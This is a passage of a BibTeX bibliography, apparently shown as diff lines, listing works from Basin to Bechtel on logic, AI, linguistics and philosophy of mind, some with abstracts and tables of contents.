{LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {1--16}, + address = {Berlin}, + topic = {logic-programming;} + } + +@incollection{ basin-etal:1996a, + author = {David A. Basin and Sean Matthews and Luca Vigan\`a}, + title = {Implementing Modal and Relevance Logics in a Logical + Framework}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {386--397}, + address = {San Francisco, California}, + topic = {theorem-proving;} + } + +@book{ basin-etal:1996b, + author = {David Basin and Se\'an Matthews and Luca Vigan}, + title = {Labelled Propositional Modal Logics: Theory and Practice}, + publisher = {Max-Planck-Institut f\"ur Informatik}, + year = {1996}, + address = {Saarbr\"ucken}, + acontentnote = {Abstract: + We show how labelled deductive systems can be + combined with a logical framework to provide a natural deduction + implementation of a large and well-known class of propositional + modal logics (including K, D, T, B, S4, S4.2, K D45, S5). Our + approach is modular and based on a separation between a base logic + and a labelling algebra, which interact through a fixed interface. + While the base logic stays fixed, different modal logics are + generated by plugging in appropriate algebras. This leads to a + hierarchical structuring of modal logics with inheritance of + theorems. Moreover, it allows modular correctness proofs, both with + respect to soundness and completeness for semantics, and + faithfulness and adequacy of the implementation. We also + investigate the tradeoffs in possible labelled presentations: We + show that a narrow interface between the base logic and the + labelling algebra supports modularity and provides an attractive + proof-theory (in comparison to, e.g., semantic embedding) but + limits the degree to which we can make use of extensions to the + labelling algebra. } , + topic = {labelled-deductive-systems;} + } + +@article{ basin-etal:1998a, + author = {David Basin and Se\'an Matthews and Luca Vigano}, + title = {Labelled Modal Logics: Quantifiers}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {237--263}, + topic = {modal-logic;labelled-deductive-systems; + quantifying-in-modality;} + } + +@article{ basri-rivlin:1995a, + author = {Ronen Basri and Ehud Rivlin}, + title = {Localization and Homing Using Combinations of Model + Views}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {327--354}, + acontentnote = {Abstract: + Navigation involves recognizing the environment, identifying the + current position within the environment, and reaching particular + positions. We present a method for localization (the act of + recognizing the environment), positioning (the act of computing + the exact coordinates of a robot in the environment), and homing + (the act of returning to a previously visited position) from + visual input. The method is based on representing the scene as + a set of 2D views and predicting the appearances of novel views + by linear combinations of the model views. The method accurately + approximates the appearance of scenes under weak-perspective + projection. Analysis of this projection as well as experimental + results demonstrate that in many cases this approximation is + sufficient to accurately describe the scene. When + weak-perspective approximation is invalid, either a larger + number of models can be acquired or an iterative solution to + account for the perspective distortions can be employed. + The method has several advantages over other approaches. It uses + relatively rich representations; the representations are 2D + rather than 3D; and localization can be done from only a single + 2D view without calibration. The same principal method is + applied for both the localization and positioning problems, and + a simple ``qualitative'' algorithm for homing is derived from this + method.}, + topic = {robot-navigation;spatial-reasoning;reasoning-about-perspective;} + } + +@book{ bass-coutaz:1991a, + author = {Len Bass and Jo\"elle Coutaz}, + title = {A Discipline For Software Engineering}, + publisher = {Addison-Wesley}, + year = {1995}, + address = {Reading, Massachusetts}, + ISBN = {0201546108}, + topic = {software-engineering;} + } + +@book{ basso-selby:1976a, + editor = {K.H. Basso and H.A. Selby}, + title = {Meaning in Anthropology}, + publisher = {University of New Mexico Press}, + year = {1976}, + address = {Alburqueque}, + missinginfo = {A's 1st name.}, + topic = {meaning-and-culture;} + } + +@incollection{ bastin-cordier:1998a, + author = {V\'eronique Bastin and Denis Cordier}, + title = {Methods and Tricks Used in an Attempt to Pass the {T}uring + Test}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {275--277}, + address = {Somerset, New Jersey}, + topic = {Turing-test;} + } + +@article{ basye-etal:1995a, + author = {Kenneth Basye and Thomas Dean and Leslie Pack Kaelbling}, + title = {Learning Dynamics: System Identification for + Perceptually Challenged Agents}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {139--171}, + acontentnote = {Abstract: + From the perspective of an agent, the input/output behavior of + the environment in which it is embedded can be described as a + dynamical system. Inputs correspond to the actions executable + by the agent in making transitions between states of the + environment. Outputs correspond to the perceptual information + available to the agent in particular states of the environment. + We view dynamical system identification as inference of + deterministic finite-state automata from sequences of + input/output pairs. The agent can influence the sequence of + input/output pairs it is presented by pursuing a strategy for + exploring the environment. We identify two sorts of perceptual + errors: errors in perceiving the output of a state and errors in + perceiving the inputs actually carried out in making a + transition from one state to another. We present efficient, + high-probability learning algorithms for a number of system + identification problems involving such errors. We also present + the results of empirical investigations applying these + algorithms to learning spatial representations.}, + topic = {machine-learning;spatial-representation; + agent-environment-interaction;} + } + +@article{ batali:1995a, + author = {John Batali}, + title = {Review of {\it The Rediscovery of the Mind}, by John R. + Searle}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {1}, + pages = {177--193}, + xref = {Review of searle:1992a.}, + topic = {philosophy-of-mind;philosophy-of-AI;} + } + +@inproceedings{ bateman-etal:1994a, + author = {John A. Bateman and Bernardo Magnini and F. Rinaldi}, + title = {The Generalized {I}talian, {G}erman, {E}nglish Upper Model}, + booktitle = {{ECAI}94, Ninth European Conference on + Artificial Intelligence}, + year = {1994}, + missinginfo = {A's 1st name, editor, publisher, address, pages}, + topic = {computational-semantics;computational-ontology;} + } + +@article{ bateman-etal:2001a, + author = {John A. Bateman and Thomas Kamps and J\"org Kleinz and KLaus + Reichenberger}, + title = {Towards Constructive Text, Diagram, and Layout Generation + for Information Presentation}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {409--449}, + topic = {diagram-generation;document-design;} + } + +@techreport{ bateman_j1-rondhuis:1994a, + author = {John Bateman and Klaas Jon Rondhuis}, + title = {Coherence Relations: Analysis and Specification}, + institution = {Dandelion Consortium, CEC}, + year = {1994}, + note = {Deliverable R.1.1.2}, + topic = {punctuation;} +} + +@incollection{ bateman_j1-etal:1998a, + author = {John Bateman and Thomas Kamps and J\"org Kleinz and + Klaus Reichenberger}, + title = {Communicative Goal-Driven {NL} Generation and Data-Driven + Graphics Generation: An Architectural Synthesis for + Multimedia Page Generation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {8--17}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;graphics-generation;multimedia-generation;} + } + +@incollection{ bateman_j2-etal:1997a, + author = {Jeremy Bateman and Jean Forrest and Tim Willis}, + title = {The Use of Syntactic Annotation Tools: Partial and Full + Parsing}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {166--178}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@article{ batens-meheus:2000a, + author = {Diderick Batens and Joke Meheus}, + title = {The Adaptive Logic of Compatibility}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {3}, + pages = {327--348}, + topic = {belief-revision;modal-logic;} + } + +@article{ batens:2001a, + author = {Diderik Batens}, + title = {A Dynamic Characterization of the Pure Logic of Relevant + Implication}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {3}, + pages = {267--280}, + topic = {relevance-logic;dynamic-logic;} + } + +@article{ bates_j1-etal:1991a, + author = {J. Bates and A.B. Loyall and W.S. Reilly}, + title = {Broad Agents}, + journal = {Sigart Bulletin}, + year = {1991}, + volume = {2}, + number = {4}, + pages = {38--40}, + missinginfo = {A's 1st name.}, + topic = {philosophy-AI;} + } + +@article{ bates_j1:1992a, + author = {Joseph Bates}, + title = {Virtual Reality, Art and Entertainment}, + journal = {PRESENCE: Teleoperators and Virtual Environments}, + year = {1992}, + volume = {1}, + number = {1}, + pages = {133--138}, + topic = {virtual-reality;} + } + +@article{ bates_j2:1994a, + author = {Joseph Bates}, + title = {The Role of Emotion in Believable Agents}, + journal = {Communications of the {ACM}}, + year = {1994}, + volume = {37}, + number = {7}, + pages = {122--125}, + topic = {emotion;interactive-fiction;} + } + +@incollection{ bates_m-etal:1993b, + author = {Madeline Bates and Robert Bobrow and Ralph Weischedel}, + title = {Critical Challenges for Natural Language Processing.}, + booktitle = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Madeleine Bates and Ralph Weischedel}, + pages = {3--34}, + address = {Cambridge, England}, + contentnote = {Thesis is that NLP hasn't had big impact on tech because + some critical issues haven't been addressed.}, + topic = {nl-processing;} + } + +@book{ bates_m-weischedel:1993a, + editor = {Madeleine Bates and Ralph M. Weischedel}, + title = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + contentnote = {TC: Bates etal, Critical Challenges for Natural + Language Processing. + Atkins, The Contribution of Lexicography. + Levin, The Contribution of Linguistics. + Boguraev, The Contribution of Computational Lexicography. + Moore, Events, Situations, and Adverbs. + Allen, Natural Language, Knowledge Representation, and + Logical Form. + Passonneau, Getting and Keeping the Center of Attention + Steedman, Surface Structure, Intonation, and Discourse + Meaning. + Pierrehumbert, Prosody, Intonation, and Speech Technology. + Bates-Weischedel, The Future of Computational Linguistics. + }, + ISBN = {0521410150 (hardback)}, + topic = {nl-processing;pragmatics;} + } + +@book{ batori-etal:1989a, + editor = {Istv\'an Batori and Winfried Lenders and Wolfgang Putscke}, + title = {Computational Linguistics}, + publisher = {Walter de Gruyter}, + year = {1989}, + address = {Berlin}, + topic = {nlp-survey;} + } + +@incollection{ batsell-etal:2002a, + author = {Randy Batsell and Lyle Brenner and Daniel Osherson and + Moshe Y. Vardi and Spyros Tsavachidis}, + title = {Eliminating Incoherence from Subjective Estimates of Chance}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {353--364}, + address = {San Francisco, California}, + topic = {kr;probabilistic-reasoning;probability-judgments;} + } + +@book{ battistella:1996a, + author = {Edwin L. Battistella}, + title = {The Logic of Markedness}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {markedness;} + } + +@article{ baudet:1978a, + author = {G\'erard M. Baudet}, + title = {On the Branching Factor of the Alpha-Beta Pruning + Algorithm}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {2}, + pages = {173--199}, + topic = {search;} + } + +@book{ bauer:1988a, + author = {Laurie Bauer}, + title = {Introducing Linguistic Morphology}, + publisher = {Edinburgh University Press}, + year = {1988}, + address = {Edinburgh}, + ISBN = {0852245610}, + topic = {morphology;} + } + +@article{ bauer_l-boagey:1977a, + author = {Laurie Bauer and Winifred Boagley}, + title = {On `The Grammar of Case'}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {1}, + pages = {119--152}, + topic = {case-grammar;thematic-roles;} + } + +@book{ bauer_l:1983a, + author = {Laurie Bauer}, + title = {English Word-Formation}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge, England}, + ISBN = {0521241677, 0521284929 (pbk.)}, + topic = {derivational-morphology;English-language;} + } + +@article{ bauer_ma:1979a, + author = {Michael A. Bauer}, + title = {Programming by Examples}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {1}, + pages = {1--21}, + acontentnote = {Abstract: + In this paper, examples of how an algorithm behaves on + particular input are considered as possible means of describing + the algorithm. In particular, a simple language for examples (a + Computational Description Language) is presented and an + algorithm for the synthesis of a procedure from a set of such + example computations is described. The algorithm makes use of + knowledge about variables, inputs, instructions and procedures + during the synthesis process to guide the formation of a + procedure. Several examples of procedures actually synthesized + are discussed. + } , + topic = {automatic-programming;} + } + +@incollection{ bauer_t-leake:2001a, + author = {Travis Bauer and David B. Leake}, + title = {{W}ord{S}eive: A Method for Real-Time Context Extraction}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {30--44}, + address = {Berlin}, + topic = {context;document-classification;statistical-nlp;} + } + +@incollection{ bauer_v-wegener:1977a, + author = {Volker Bauer and Michael Wegener}, + title = {A Community Information Feedback System with + Multiattribute Utilities}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {323--357}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@incollection{ bauerle:1979a, + author = {Rainer B\"auerle}, + title = {Questions and Answers}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {61--74}, + topic = {nl-semantics;interrogatives;} + } + +@book{ bauerle-etal:1979a, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + title = {Semantics from Different Points of View}, + publisher = {Springer-Verlag}, + year = {1979}, + address = {Berlin}, + contentnote = {TC: + 1. Barbara Partee, "Semantics---Mathematics or Psychology?" + 2. Dov Gabbay and Christian Rohrer, "Do We Really Need Tenses + Other Than Future and Past?" + 3. Thomas T. Ballmer, "Context Change, Truth, and Competence" + 4. Manfred Pinkal, "How to Refer with Vague Descriptions" + 5. Irene Heim, "Concealed Questions" + 6. Rainer B\"auerle, "Questions and Answers" + 7. Joachim Ballweg and Helmuth Frosch, "Comparison and + Gradual Change" + 8. Max J. Cresswell, "Interval Semantics for Some Event + Expressions" + 9. Angelika Kratzer, "Conditional Necessity and Possibility" + 10. Ekkehard K\"onig, "A Semantic Analysis of German `Erst'\," + 11. Dieter Wunderlich, "Meaning and Context-Dependence" + 12. David Lewis, "Scorekeeping in a Language Game" + 13. Asa Kasher, "On Pragmatic Demarcation of a Language" + 14. Friedrich Kambertel, "Constructive Pragmatics and Semantics" + 15. Hans J. Schneider, "Explanation and Understanding in the Theory + of Language" + 16. Klaus-J\"urgen Engelberg, "A New Approach to Formal Syntax" + 17. Arnim von Stechow, "Visiting {G}erman Relatives" + 18. Urs Egli, "The {S}toic Concept of Anaphora" + 19. Karlheinz H\"ulser, "Expression and Content in {S}toic + Linguistic Theory" + 20. Christoph Schwarze, "Reparer--Reparieren. A Contrastive + Study" + 21. Christa Hauenschild and Edgar Huckert and Robert Maier, + "{SALAT}: Machine Translation Via Semantic Representation" + 22. Rudolf Cohen and Stephanie Kelter and Gerhild Woll, + "Conceptual Impairment in Aphasia" + 23. Claus Heeschen, "On the Representation of Classificatory + and Propositional Lexical Relations in the Human Brain" + 24. Hans Kamp, "Events, Instants, and Temporal Reference" + } , + topic = {nl-semantics;} + } + +@book{ bauerle-etal:1983a, + editor = {Rainer B\"auerle and Christoph Schwarze and Arnim von + Stechow}, + title = {Meaning, Use, and Interpretation of Language}, + publisher = {Walter de Gruyter}, + year = {1983}, + address = {Berlin}, + ISBN = {3110089017}, + topic = {nl-semantics;pragmatics;} + } + +@article{ baum-smith_wd:1997a, + author = {Eric B. Baum and Warren D. Smith}, + title = {A {B}ayesian Approach to Relevance in Game Playing}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {195--242}, + topic = {relevance;game-playing;} + } + +@book{ bauman-sherzer:1974a, + editor = {R. Bauman and J. Sherzer}, + title = {Explorations in the Ethnography of Speaking}, + publisher = {Cambridge University Press}, + year = {1974}, + address = {Cambridge, England}, + missinginfo = {A's 1st name.}, + topic = {conversation-analysis;} + } + +@article{ baumgartner-etal:1997a, + author = {Peter Baumgartner and Ulrich Furbach and Frieder + Stolzenburg}, + title = {Computing Answers with Model Elimination}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {135--176}, + topic = {theorem-proving;} + } + +@incollection{ baumgartner-furbach:1998a, + author = {Peter Baumgartner and Ulrich Furbach}, + title = {Variants of Clausal Tableaux}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;proof-theory;} + } + +@incollection{ baumgartner-peterman:1998a, + author = {Peter Baumgartner and U. Peterman}, + title = {Theory Reasoning}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ baumgartner:2000a, + author = {Peter Baumgartner and Michael {K\"uhn}}, + title = {Abducing Coreference by Model Construction}, + journal = {Journal of Language and Computation}, + year = {2000}, + volume = {2}, + number = {1}, + pages = {175--190}, + topic = {model-construction;anaphora;} + } + +@article{ baumgartner-kuhn:2000a, + author = {Peter Baumgartner and Michael {K\"uhn}}, + title = {Abducing Coreference by Model Construction}, + journal = {Journal of Language and Computation}, + year = {2000}, + volume = {2}, + number = {1}, + pages = {175--190}, + xref = {Also available at + http://www.uni-koblenz.de/\user{}kuehn/Publications/paper-icos1.pdf}, + topic = {model-construction;abduction;anaphora;} + } + +@article{ baumrin:1965a, + author = {Bernard M. Baumrin}, + title = {Prima Facie Duties}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {20}, + pages = {736--739}, + xref = {Commentary on: shope:1965a.}, + topic = {prima-facie-obligation;} + } + +@article{ bavelas-etal:forthcominga, + author = {Janet Beavin Bavelas and Nicole Chovil and Linda + Coates and Lori Roe}, + title = {Gestures Specialized for Dialogue}, + journal = {Personality and Social Psychology Bulletin}, + year = {to appear}, + topic = {gestures;} + } + +@article{ baxter:2001a, + author = {David M. Baxter}, + title = {Loose Identity and Becoming Something Else}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {592--601}, + topic = {individuation;identity;} + } + +@article{ bayardo-miranker:1994a, + author = {Roberto J. {Bayardo Jr.} and Daniel P. Miranker}, + title = {An Optimal Backtrack Algorithm for Tree-Structured + Constraint Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {159--181}, + acontentnote = {Abstract: + This paper presents and evaluates an optimal backtrack algorithm + for solving tree-structured constraint satisfaction problems-a + subset of constraint satisfaction problems which can be solved + in linear time. Previous algorithms which solve these problems + in linear time perform expensive preprocessing steps before + attempting solution. The work presented here resolves the open + problem posed by Dechter (1990) on the development of an + algorithm which avoids this preprocessing. We demonstrate + significant improvements in average-case performance over the + previous state of the art, and show the benefits provided to + backtrack enhancement schemes exploiting the easiness of + tree-structured problems such as the cycle-cutset method + (Dechter and Pearl, 1987). } , + topic = {backtracking;constraint-satisfaction;} + } + +@incollection{ bayer-etal:1998a, + author = {Samuel Bayer and John Aberdeen and John Burger and Lynette + Hirschman and David Palmer and Marc Vilain}, + title = {Theoretical and Computational Linguistics: Toward a Mutual + Understanding}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {231--255}, + address = {London}, + topic = {nlp-and-linguistics;} + } + +@mastersthesis{ bayraktar:1996a, + author = {Murat Bayraktar}, + title = {Computer-Aided Analysis of {E}nglish Punctuation on a + Parsed Corpus: The Special Case of Comma}, + school = {Department of Computer Engineering and Information + Science, Bilkent University, Turkey}, + year = {1996}, + note = {Forthcoming}, + topic = {punctuation;} +} + +@article{ bays:2001a, + author = {Timothy Bays}, + title = {On {P}utnam and His Models}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {7}, + pages = {331--350}, + xref = {Discussion of: putnam:1983c.}, + topic = {philosophical-realism;lowenheim-skolem-theorem;} + } + +@article{ bays:2001b, + author = {Timothy Bays}, + title = {On {T}arski on Models}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {4}, + pages = {1701--1726}, + topic = {Tarski;history-of-logic;model-theory;} + } + +@inproceedings{ bazzi-neiger:1992a, + author = {R. Bazzi and G. Neiger}, + title = {The Complexity and Impossibility of Achieving + Fault-Tolerant Coordination}, + booktitle = {Proceedings of the Eleventh {ACM} Symposium on + Principles of Distributed Computing}, + year = {1992}, + pages = {203--214}, + organization = {ACM}, + missinginfo = {A's 1st name}, + topic = {communication-protocols;} + } + +@incollection{ beach:1983a, + author = {Wayne A. Beach}, + title = {Background Understandings and the Situated Accomplishment of + Conversational Telling-Expressions}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {196--221}, + address = {London}, + topic = {coord-in-conversation;discourse-analysis;pragmatics;} + } + +@article{ beal:1990a, + author = {Don F. Beal}, + title = {A Generalised Quiescence Search Algorithm}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {85--98}, + topic = {game-playing;search;} + } + +@incollection{ beale_s-etal:1998a, + author = {Stephen Beale and Sergei Nirenburg and Evelyne Viegas + and Leo Wanner}, + title = {De-Constraining Text Generation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {48--57}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;nl-generation-algorithms;} + } + +@book{ beale_wh:1987a, + author = {Walter H. Beale}, + title = {A Pragmatic Theory of Rhetoric}, + publisher = {Southern Illinois University Press}, + year = {1967}, + address = {Carbondale, Illinois}, + ISBN = {0809031300-6}, + topic = {pragmatics;rhetoric;} + } + +@article{ bealer:1979a, + author = {George Bealer}, + title = {Theories of Properties, Relations, and Propositions}, + journal = {The Journal of Philosophy}, + year = {1979}, + volume = {76}, + pages = {634--648}, + topic = {intensionality;property-theory;} + } + +@book{ bealer:1982a, + author = {George Bealer}, + title = {Quality and Concept}, + publisher = {Oxford University Press}, + year = {1982}, + address = {Oxford}, + topic = {intensionality;property-theory;} + } + +@article{ bealer:1983a, + author = {George Bealer}, + title = {Completeness in the Theory of Properties, Relations, and + Propositions}, + journal = {The Journal of Symbolic Logic}, + year = {1983}, + volume = {44}, + number = {2}, + pages = {415--426}, + topic = {property-theory;} + } + +@incollection{ bealer:1984a, + author = {George Bealer}, + title = {Mind and Anti-Mind: Why Thinking Has No Functional + Definition}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {283--328}, + address = {Minneapolis}, + topic = {mind-body-problem;functionalism;philosophy-of-mind;} + } + +@incollection{ bealer:1986a, + author = {George Bealer}, + title = {The Logical Status of Mind}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {231--274}, + address = {Minneapolis}, + topic = {intentionality;philosophy-of-mind;} + } + +@article{ bealer:1989a, + author = {George Bealer}, + title = {On the Identification of Properties and Propositional + Functions}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {1}, + pages = {1--14}, + topic = {property-theory;intensional-logic;propositional-functions;} + } + +@incollection{ bealer:1993a, + author = {George Bealer}, + title = {A Solution to {F}rege's Puzzle}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {17--60}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {propositions;identity;} + } + +@article{ bealer:1994a, + author = {George Bealer}, + title = {Mental Properties}, + journal = {The Journal of Philosophy}, + year = {1994}, + volume = {91}, + number = {4}, + pages = {185--208}, + topic = {philosophy-of-mind;property-theory;} + } + +@article{ bealer:1997b, + author = {George Bealer}, + title = {Self-Consciousness}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {1}, + pages = {69--117}, + topic = {philosophy-of-mind;} + } + +@article{ bealer:1998a, + author = {George Bealer}, + title = {Propositions}, + journal = {Mind}, + year = {1998}, + volume = {107}, + number = {425}, + pages = {1--32}, + topic = {propositions;} + } + +@inproceedings{ bear-hobbs:1988a, + author = {John Bear and Jerry R. Hobbs}, + title = {Localizing the Expression of Ambiguity}, + booktitle = {Proceedings Second Conference on Applied Natural + Language Processing}, + year = {1988}, + month = {February}, + missinginfo = {publisher, pages}, + topic = {ambiguity;nl-interpretation;} + } + +@book{ bear:1992a, + author = {John Bear}, + title = {Gaps as Syntactic Features}, + publisher = {Indiana Linguistics Club}, + year = {1982}, + address = {Department of Linguistics, University of Indiana, + Bloomington, Indiana}, + topic = {nl-syntax;GPSG;} + } + +@article{ beattie:1979a, + author = {Geoffrey W. Beattie}, + title = {Planning Units in Spontaneous Speech: Some Evidence From + Hesitation in Speech and Speaker Gaze Direction in Conversation}, + journal = {Linguistics}, + year = {1979}, + volume = {17}, + pages = {61--78}, + missinginfo = {number}, + topic = {discourse;pragmatics;} + } + +@incollection{ beaver:1981a, + author = {David Beaver}, + title = {The Kinematics of Presupposition}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1991}, + editor = {Paul Dekker and Martin Stokhof}, + pages = {17--36}, + address = {Amsterdam}, + topic = {nl-semantics;presupposition;pragmatics; + dynamic-semantics;} + } + +@techreport{ beaver:1992a, + author = {David Beaver}, + title = {The Kinematics of Presupposition}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--92--05}, + year = {1992}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {nl-semantics;presupposition;pragmatics;dynamic-semantics;} + } + +@techreport{ beaver:1993a, + author = {David Beaver}, + title = {What Comes First in Dynamic Semantics}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--93--15}, + year = {1993}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {nl-semantics;presupposition;pragmatics;dynamic-semantics;} + } + +@inproceedings{ beaver:1994a, + author = {David Beaver}, + title = {When Variables Don't Vary Enough}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {35--60}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;nl-quantifiers;presupposition;pragmatics; + dynamic-semantics;} + } + +@incollection{ beaver:1996a, + author = {David Beaver}, + title = {Presupposition}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + address = {Amsterdam}, + pages = {939--1008}, + topic = {presupposition;} + } + +@incollection{ beaver:1999a, + author = {David Beaver}, + title = {The Logic of Anaphora Resolution}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {61--66}, + address = {Amsterdam}, + topic = {anaphora-resolution;} + } + +@article{ beaver-krahmer:2000a, + author = {David Beaver and Emiel Krahmer}, + title = {A Partial Account of Presupposition Projection}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {147--182}, + topic = {presupposition;} + } + +@incollection{ becher-etal:1998a, + author = {V. Becher and E. Ferm\'e and R. Rodriguez and S. Lazzer + C. Oller and G. Palua}, + title = {Some Observations on {C}arlos {A}lchourron's Theory of + Defeasible Conditionals}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {219--230}, + address = {Amsterdam}, + topic = {deontic-logic;nonmonotonic-conditionals;} + } + +@incollection{ bechet_d-degroote:1997a, + author = {Denis Bechet and Philippe de Groote}, + title = {Constructing Different Phonological Bracketings from a + Proof Net}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {118--133}, + address = {Berlin}, + topic = {logic-and-computational-linguistics; + computational-phonology;} + } + +@incollection{ bechet_f-etal:1997a, + author = {Fr\'ed\'eric B\'echet and Thierry Spriet and Marc + El-B\`eze}, + title = {Automatic Lexicon Enhancement by Means + of Corpus Tagging}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {29--32}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;computational-lexicography; + corpus-tagging;} + } + +@unpublished{ bechtel-shapiro:1976a, + author = {Robert Bechtel and Stuart Shapiro}, + title = {A Logic for Semantic Networks}, + year = {1976}, + note = {Unpublished manuscript, Indiana University.}, + topic = {semantic-networks;kr;kr-course;} + } + 